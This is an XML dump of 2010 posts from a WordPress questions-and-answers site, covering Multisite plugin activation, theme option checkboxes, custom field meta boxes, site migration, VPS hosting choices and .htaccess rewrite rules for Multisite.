  <row Id="1317" PostTypeId="2" ParentId="1276" CreationDate="2010-09-03T22:49:56.960" Score="0" ViewCount="" Body="&lt;p&gt;WordPress Multisite is the answer. We have a lot of tools at &lt;a href=&quot;http://premium.wpmudev.org&quot; rel=&quot;nofollow&quot;&gt;WPMU Dev Premium&lt;/a&gt; - including themes and plugins that will help you to offer memberships or paid upgrades for the sites created in your network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also probably want to create or hire someone to create a number of decent wedding type themes before you launch so that your users can select from among them, as many wedding sites offer this ability.&lt;/p&gt;&#xA;" OwnerUserId="676" LastActivityDate="2010-09-03T22:49:56.960" />
  <row Id="1318" PostTypeId="2" ParentId="1316" CreationDate="2010-09-04T01:44:18.063" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Bowe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to create an array in your options function for the checkbox and give it an id a default state and assign the &quot;checkbox&quot; type to it.  Here is a sample assuming you already have the code in place for the admin panel&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Set variables for the options panel&#xA;$themename = &quot;your_theme_name&quot;;&#xA;$themeshortname = &quot;yt&quot;;&#xA;$mythemeoptions = array();&#xA;&#xA;//The Option function&#xA;function cool_theme_options() {&#xA;global $themename, $themeshortname, $mythemeoptions;&#xA;&#xA;$themeoptions = array (&#xA;&#xA;array( &quot;name&quot; =&amp;gt; __('Show featured content slider','your_theme_name'),&#xA;&quot;desc&quot; =&amp;gt; __('When checked, the slider will be added to the home page.','your_theme_name'),&#xA;&quot;id&quot; =&amp;gt; &quot;show_featured_slider&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;false&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;checkbox&quot;&#xA;   ),&#xA; );&#xA;}&#xA;&#xA;//The Option Form&#xA;&#xA;function my_cool_theme_admin() {&#xA;&#xA;  global $themename, $themeshortname, $themeoptions;&#xA;&#xA;  // Saved or Updated message&#xA;  if ( $_REQUEST['saved'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings saved.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;  if ( $_REQUEST['reset'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings reset.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;  // The form&#xA;  ?&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;&amp;lt;?php echo $themename; ?&amp;gt; Options&amp;lt;/h2&amp;gt;&#xA;&#xA;  &amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&#xA;  &amp;lt;?php wp_nonce_field('theme-save'); ?&amp;gt;&#xA;  &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;  &amp;lt;?php foreach ($themeoptions as $value) {&#xA;&#xA;    // Output the appropriate form element&#xA;    switch ( $value['type'] ) {&#xA;&#xA;      case 'text':&#xA;      ?&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;:&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;          &amp;lt;?php foreach ($value['options'] as $key=&amp;gt;$option) {&#xA;            if ($key == get_option($value['id'], $value['std']) ) {&#xA;              $checked = &quot;checked=\&quot;checked\&quot;&quot;;&#xA;            } else {&#xA;              $checked = &quot;&quot;;&#xA;            }&#xA;            ?&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $key; ?&amp;gt;&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&amp;lt;?php echo $option; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;          &amp;lt;?php } ?&amp;gt;&#xA;          &amp;lt;?php echo $value['desc']; ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;?php&#xA;      break;&#xA;&#xA;      case &quot;checkbox&quot;:&#xA;      ?&amp;gt;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;          &amp;lt;?php&#xA;          if(get_option($value['id'])){&#xA;            $checked = &quot;checked=\&quot;checked\&quot;&quot;;&#xA;          } else {&#xA;            $checked = &quot;&quot;;&#xA;          }&#xA;          ?&amp;gt;&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&#xA;          &amp;lt;?php echo $value['desc']; ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;?php&#xA;      break;&#xA;&#xA;      default:&#xA;      break;&#xA;    }&#xA;  }&#xA;  ?&amp;gt;&#xA;&#xA;  &amp;lt;/table&amp;gt;&#xA;&#xA;  &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;input name=&quot;save&quot; type=&quot;submit&quot; value=&quot;Save changes&quot; class=&quot;button-primary&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;/form&amp;gt;&#xA;&#xA;  &amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('theme-reset'); ?&amp;gt;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;      &amp;lt;input name=&quot;reset&quot; type=&quot;submit&quot; value=&quot;Reset&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;reset&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next add the function in functions.php that calls the slider if the box is checked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function cool_theme_slider_option() {&#xA;  // load the custom options&#xA;  global $themeoptions;&#xA;  foreach ($themeoptions as $value) {&#xA;    $$value['id'] = get_option($value['id'], $value['std']);&#xA;  }&#xA;&#xA;     if ($show_featured_slider  == 'true') {&#xA;&#xA;        locate_template( array( 'includes/slider.php'), true )&#xA;&#xA;     }&#xA;} // end function&#xA;&#xA;add_action('wp_head', 'cool_theme_slider_option');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code has not been checked to make sure it works exactly as is but meant to show an example for using a checkbox option in your theme.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-04T01:44:18.063" CommentCount="1" />
  <row Id="1319" PostTypeId="1" AcceptedAnswerId="1329" CreationDate="2010-09-04T03:26:04.890" Score="1" ViewCount="242" Body="&lt;p&gt;Hey guys. I am working on a plugin and I am trying to figure out all of the possible scenarios in which the plugin can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the new Multi-Site feature. If the plugin is network activated, then it will basically be forced upon all of the blogs within that website. What happens if the plugin is just activated, but not network activated? Does this mean that &lt;strong&gt;it's giving&lt;/strong&gt; the user the choice of enabling it? In other words: does activating the plugin mean it will appear in each blog admin's plugin list, allowing them to enable it or not? If this is true, then that means that if the plugin is &lt;em&gt;not&lt;/em&gt; activated, then it won't show up in each blog admin's plugin list, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the scenarios are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;network activated =&gt; forced upon all users&lt;/li&gt;&#xA;&lt;li&gt;activated =&gt; each user now has the option to enable it or not&lt;/li&gt;&#xA;&lt;li&gt;disabled =&gt; the user won't even see it in their plugin list&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this correct? Thanks, I would really appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2010-09-04T11:19:34.980" Title="Multi-Site Plugin Activated (Not Network-Activated), What Happens?" Tags="&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1320" PostTypeId="1" AcceptedAnswerId="1712" CreationDate="2010-09-04T03:53:41.790" Score="6" ViewCount="639" Body="&lt;p&gt;I've added a few different &lt;code&gt;custom_post_types&lt;/code&gt; to my Wordpress 3 installation. They are all a bit different from eachother, and should store unique information in &lt;code&gt;custom_fields&lt;/code&gt;. But while one may store a &lt;code&gt;product_id&lt;/code&gt;, another will not. One will have a &lt;code&gt;source_url&lt;/code&gt; and another will not. Rather than having to instruct my editors on which custom fields should be used with which custom posts, how can I make each custom post include its custom fields as part of the UI itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you visit &quot;daily_cartoon&quot; you would have a screen that asks only for a &lt;em&gt;title&lt;/em&gt;, &lt;em&gt;caption&lt;/em&gt;, and &lt;em&gt;media&lt;/em&gt;.&lt;br&gt;&#xA;If you visit &quot;daily_product&quot; you would have a screen that asks only for a &lt;em&gt;title&lt;/em&gt;, &lt;em&gt;price&lt;/em&gt;, &lt;em&gt;summary&lt;/em&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-09-15T15:43:51.903" Title="Making Custom Fields Standard in the Admin UI" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;hooks&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="12" />
  <row Id="1321" PostTypeId="2" ParentId="1320" CreationDate="2010-09-04T04:41:06.493" Score="4" ViewCount="" Body="&lt;p&gt;you can add  meta_boxes in order to have the custom fields data stored in them.&#xA;since &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt; can be set according to post_type this will enable you to add different meta_box to different post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look at this &lt;a href=&quot;http://shibashake.com/wordpress-theme/add-metabox-custom-post-type&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; for a full example of altering  the custom post type new/edit scree.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-04T04:41:06.493" />
  <row Id="1322" PostTypeId="2" ParentId="1294" CreationDate="2010-09-04T05:09:36.873" Score="0" ViewCount="" Body="&lt;p&gt;What I like to do is to export the wordpress database to a .sql file.  Then do a find/replace on oldurl.com to newurl.com.  Yes, you can just change your site_url and home_url in the options table, but you will have missed A LOT of other places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention, some plugins will break if you don't do it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you make the change, import your .sql file into the new database on the new server.&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2010-09-04T05:09:36.873" CommentCount="1" />
  <row Id="1323" PostTypeId="2" ParentId="1132" CreationDate="2010-09-04T05:27:38.770" Score="2" ViewCount="" Body="&lt;p&gt;It really depends on how robust you want your forum to be.  For &lt;a href=&quot;http://www.10thplanetjj.com&quot; rel=&quot;nofollow&quot;&gt;http://www.10thplanetjj.com&lt;/a&gt;, forums were EVERYTHING, so we went with vBulletin, and use the vBulletin Bridge Plugin to bridge vBulletin to Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works, and allows us to get the best of both worlds.  I can secure posts and pages in wordpress and only show them to certain vBulletin groups or users.&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2010-09-04T05:27:38.770" />
  <row Id="1324" PostTypeId="1" CreationDate="2010-09-04T05:49:28.917" Score="3" ViewCount="198" Body="&lt;p&gt;I'm looking for a way to maintain my personal resume on Wordpress.  In the past, I've used an old OpenOffice template, but it doesn't work that well anymore and doesn't support hResume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking around and none of the Resume plugins work that well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the best Resume editor I've seen is on &lt;a href=&quot;http://careers.stackoverflow.com/&quot;&gt;http://careers.stackoverflow.com/&lt;/a&gt;.  But I don't want my resume on someone else's site. I want it on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, it would have nice markup, with hResume microformatting.  Maybe ODF and PDF versions automatically generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, there is no reason for the editor and the display portion to be part of the same tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there is one out there already so I don't have to write it myself or just hand code it.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditorDisplayName="" LastEditDate="2010-09-04T19:16:52.227" LastActivityDate="2011-06-25T15:00:53.200" Title="A good way to maintain a resume on Wordpress?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" />
  <row Id="1325" PostTypeId="2" ParentId="774" CreationDate="2010-09-04T05:57:41.077" Score="2" ViewCount="" Body="&lt;p&gt;A bit of extra info.&#xA;In case you want to have you're site in Hebrew, TDO Mini Forms will not work.&#xA;The configuration part of the plugin fails once you try to change strings to hebrew.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://olykrap.com/post/creating-a-tell-your-story-page/&quot; rel=&quot;nofollow&quot;&gt;post by Nitzan Brumer&lt;/a&gt; for a good example on how to create a custom user-generated-content page.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-04T05:57:41.077" />
  <row Id="1326" PostTypeId="2" ParentId="1294" CreationDate="2010-09-04T06:19:23.260" Score="0" ViewCount="" Body="&lt;p&gt;The WordPress Codex is an excellent tool. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-09-04T06:19:23.260" />
  <row Id="1327" PostTypeId="1" AcceptedAnswerId="1328" CreationDate="2010-09-04T06:53:20.790" Score="2" ViewCount="148" Body="&lt;p&gt;I am looking into optimizing my WP blogs, and one thing that comes out is that several of the most acclaimed solutions people are offering (Such as eaccelerator and Nginx), are only available if I had an unmanaged account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to other reasons you might detail, which is better (performance wise) for managing a WP site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(that is assuming you don't have experience in unmanaged solution but was willing to learn)&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-04T08:01:30.170" LastActivityDate="2011-02-24T23:58:21.217" Title="In terms of performance - Is unmanaged VPS better then a managed one - for WP sites?" Tags="&lt;performance&gt;&lt;hosting&gt;&lt;nginx&gt;&lt;vps&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1328" PostTypeId="2" ParentId="1327" CreationDate="2010-09-04T07:58:06.970" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Tal,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of performance an unmanaged VPS will be better than a managed one.  A Managed VPS will almost always come with CPanel which is great for shared hosting and for hosting companies to easily manage your VPS for you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still install any of the Opcode caching tools (APC, eAccelerator, XCache, MemCached) on a managed VPS with CPanel but you would have problems getting Nginx to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Performance Issues with a CPanel Managed VPS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un needed services and processes (TailWatch, entropychat, exim, imap, ipaliasis, named, spamd, syslogd, etc...)&lt;/li&gt;&#xA;&lt;li&gt;The Cpanel UI uses up valuable resources&lt;/li&gt;&#xA;&lt;li&gt;Your stuck with Apache as the only server option&lt;/li&gt;&#xA;&lt;li&gt;Only options for running PHP are dso, cgi, or fcgid (no mod_fastcgi)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issues with Managing your own VPS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security (Your will be responsible for the security of the VPS&lt;/li&gt;&#xA;&lt;li&gt;Learning Curve&lt;/li&gt;&#xA;&lt;li&gt;No support to fix something you screw up or overlook&lt;/li&gt;&#xA;&lt;li&gt;Mail servers and FTP servers are difficult to get working &lt;/li&gt;&#xA;&lt;li&gt;You will be doing everything via command line/SSH  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources to Help You&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to go the unmanaged route there are a lot of great resources to guide you through every step of setting up your VPS&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://library.linode.com/lamp-guides/&quot; rel=&quot;nofollow&quot;&gt;The Linode Library&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.vps.net/forum/public-forums/tutorials-and-how-tos/&quot; rel=&quot;nofollow&quot;&gt;The VPS.Net community forums&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://vpsbible.com/&quot; rel=&quot;nofollow&quot;&gt;VPSBible&lt;/a&gt; (membership site)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://articles.slicehost.com/&quot; rel=&quot;nofollow&quot;&gt;The Slicehost community tutorials&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Bottom Line&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With unmanaged, you get a blank partition on a hard drive, a power cord and a network cable, maybe a wiki, some docs a forum, and Google. If your comfortable with this then go for it.  You will learn so much by setting up your own server environment.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-04T07:58:06.970" CommentCount="1" />
  <row Id="1329" PostTypeId="2" ParentId="1319" CreationDate="2010-09-04T11:19:34.980" Score="1" ViewCount="" Body="&lt;p&gt;You are right about network activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the other two:&#xA;The user will always see all the plugins in their blog admin's plugin list.&#xA;Activating a plugin means activating it only on the current blog, and you can deactivate it if it was previously enabled. These two options does not affect the other blogs in the network, only the current one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details here: &lt;a href=&quot;http://premium.wpmudev.org/wpmu-and-buddypress-plugins/activating-and-deactivating-regular-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/wpmu-and-buddypress-plugins/activating-and-deactivating-regular-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-04T11:19:34.980" CommentCount="2" />
  <row Id="1330" PostTypeId="1" AcceptedAnswerId="1332" CreationDate="2010-09-04T11:41:21.550" Score="4" ViewCount="144" Body="&lt;p&gt;I've got a WordPress blog on WordPress.com. When posting something I'm including some sample Java code in the &lt;code&gt;&amp;lt;code&lt;/code&gt; tags, is there any way I can have this formatted better? Such as syntax highlighting and line numbers etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of what I have is &lt;a href=&quot;http://jameselsey.wordpress.com/2010/08/30/android-implementing-global-state-share-data-between-activities-and-across-your-application/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, even though I have the code tags it doesnt seem to make it any more readable than normal text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I limited in choices as I've gone for the free option?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-03T11:35:51.400" LastActivityDate="2011-02-03T11:35:51.400" Title="Formatting Code Snippets on Free WordPress.com Account?" Tags="&lt;wordpress.com&gt;&lt;formatting&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="1331" PostTypeId="2" ParentId="1330" CreationDate="2010-09-04T12:11:05.693" Score="5" ViewCount="" Body="&lt;p&gt;Yes you can. It's &lt;code&gt;[code] *your code here* [/code]&lt;/code&gt; and you can even hint the language: &lt;code&gt;[code lang=&quot;php&quot;]&amp;lt;?php echo 'test'; ?&amp;gt;[/code]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the method I prefer (quick to write). There seem to be other ways as the following resource explains: &lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;Support: Code » Posting Source Code (wordpress.com)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-04T12:11:05.693" />
  <row Id="1332" PostTypeId="2" ParentId="1330" CreationDate="2010-09-04T12:12:30.463" Score="7" ViewCount="" Body="&lt;p&gt;wordpress.com supports code syntax-highliting.&#xA;You can read all about it here: &lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/code/posting-source-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for your specific example use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode language=&quot;java&quot;]&#xA;package com.jameselsey.domain;&#xA;&#xA;import java.util.ArrayList;&#xA;import java.util.List;&#xA;import com.google.android.maps.GeoPoint;&#xA;import android.app.Application;&#xA;&#xA;/**&#xA;* This is a global POJO that we attach data to which we&#xA;* want to use across the application&#xA;* @author James Elsey&#xA;*&#xA;*/&#xA;public class GlobalState extends Application&#xA;{&#xA;private String testMe;&#xA;&#xA;public String getTestMe() {&#xA;return testMe;&#xA;}&#xA;public void setTestMe(String testMe) {&#xA;this.testMe = testMe;&#xA;}&#xA;}&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-04T12:12:30.463" CommentCount="1" />
  <row Id="1333" PostTypeId="2" ParentId="1324" CreationDate="2010-09-04T12:18:32.393" Score="1" ViewCount="" Body="&lt;p&gt;Maybe not exactly/fully, but I remember that the XSLT plugin was used for something like to display / render a resume / cv online:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/xslprocessor/&quot; rel=&quot;nofollow&quot;&gt;Xslt Processor (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-04T12:18:32.393" CommentCount="2" />
  <row Id="1334" PostTypeId="2" ParentId="1293" CreationDate="2010-09-04T12:24:02.847" Score="1" ViewCount="" Body="&lt;p&gt;From what I read on the plugins description it's compatible with WP 2.9.2. Next to that I assume from the description that it interacts with the theme a lot. I would therefore install the &lt;a href=&quot;http://wordpress.org/extend/themes/default&quot; rel=&quot;nofollow&quot;&gt;Default (Wordpress Theme)&lt;/a&gt; and try if it works with that theme. Maybe it works with this theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you just run into a Javascript error or you have Javascript disabled? Please check these source of errors as well, because it's written that the plugin makes use of AJAX which means Javascript.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-04T12:24:02.847" CommunityOwnedDate="2010-09-04T12:24:02.847" CommentCount="4" />
  <row Id="1335" PostTypeId="1" CreationDate="2010-09-04T12:24:24.520" Score="2" ViewCount="133" Body="&lt;p&gt;Is it possible to use AdSense on a free .wordpress.com blog? I can't see any way of doing this in the configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are options to add text widgets etc, but nothing for adds?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-04T12:35:09.380" LastActivityDate="2011-03-29T19:20:27.333" Title="Can I use AdSense on a free wordpress blog?" Tags="&lt;wordpress.com&gt;&lt;adsense&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1336" PostTypeId="2" ParentId="1335" CreationDate="2010-09-04T12:34:23.023" Score="2" ViewCount="" Body="&lt;p&gt;Adsense relies on Javascript and you can not use Javascript on a free wordpress.com blog. So you can not use Adsense. Next to that, delivering adds is something that wordpress.com reserves on it's own to do, so what you want to do might conflict with their terms of service as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for any wordpress.com related question, please pose that question to their technical support as well to get an answer.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-04T12:34:23.023" />
  <row Id="1337" PostTypeId="2" ParentId="1311" CreationDate="2010-09-04T13:21:21.903" Score="0" ViewCount="" Body="&lt;p&gt;You could have a look at the excellent qTranslate. That should provide you with an example of everything you need since it adds a.o. multiple Title boxes.&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2010-09-04T13:21:21.903" />
  <row Id="1338" PostTypeId="1" CreationDate="2010-09-04T13:26:32.593" Score="1" ViewCount="247" Body="&lt;p&gt;Is anyone aware of some functionality to share the revenue among the users of a Multisite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A multisite lets other people create and mainatain their own blogs. The Multisite owner  should able to share some percentage, say N% (like 20%) of revenue on the sub-sites hosted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are that owner of a Multisite on&#xA;  xyz.com and offer blogs to your&#xA;  &quot;friends&quot; User1, User2 and so on.&#xA;  User1 and User2 use adsense or adbrite&#xA;  on their blog. The functionality would&#xA;  ensure that you get 20% from the&#xA;  revenue they earn.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have seen the &lt;a href=&quot;http://wordpress.org/extend/plugins/author-advertising-plugin&quot; rel=&quot;nofollow&quot;&gt;author-advertising-plugin (Wordpress Plugin)&lt;/a&gt; which shares the revenue within a single site among multiple authors. I do not know if it supports Multisite because for me it would be better. If I have the possibility to share the revenue Multisite-wide. I would like to know If that plugin suits perfectly to Multisite installation or not.&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-09-05T00:59:51.657" LastActivityDate="2011-01-21T12:40:07.470" CommunityOwnedDate="2010-09-04T13:27:04.683" Title="Sharing Ad Revenue among Users of a Multisite in a Collaborative Model?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;adsense&gt;&lt;ads&gt;&lt;community&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="1339" PostTypeId="1" AcceptedAnswerId="1342" CreationDate="2010-09-04T14:02:38.407" Score="1" ViewCount="193" Body="&lt;p&gt;I have installed WordPress via an auto-installer and later configured it as multisite. But whenever I create the WordPress site using auto-installer it doesn't give me the &lt;code&gt;.htaccess&lt;/code&gt; file by default. So I've created an empty file with the name &lt;code&gt;.htaccess&lt;/code&gt; in CPanel and pasted this code in to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On &#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files &#xA;RewriteRule ^files/(.+)wp-includes/ms-files.php?file=$1 [L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;[OR] RewriteCond %{REQUEST_FILENAME} -d &#xA;RewriteRule ^ - [L] &#xA;RewriteRule . index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it a right method ?&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:40:41.380" LastActivityDate="2011-02-16T08:40:41.380" Title="When WordPress Does Not Provide an .htaccess File for New Multisite Sites because of CPanel Fantastico Auto-Installer?" Tags="&lt;installation&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="3" />
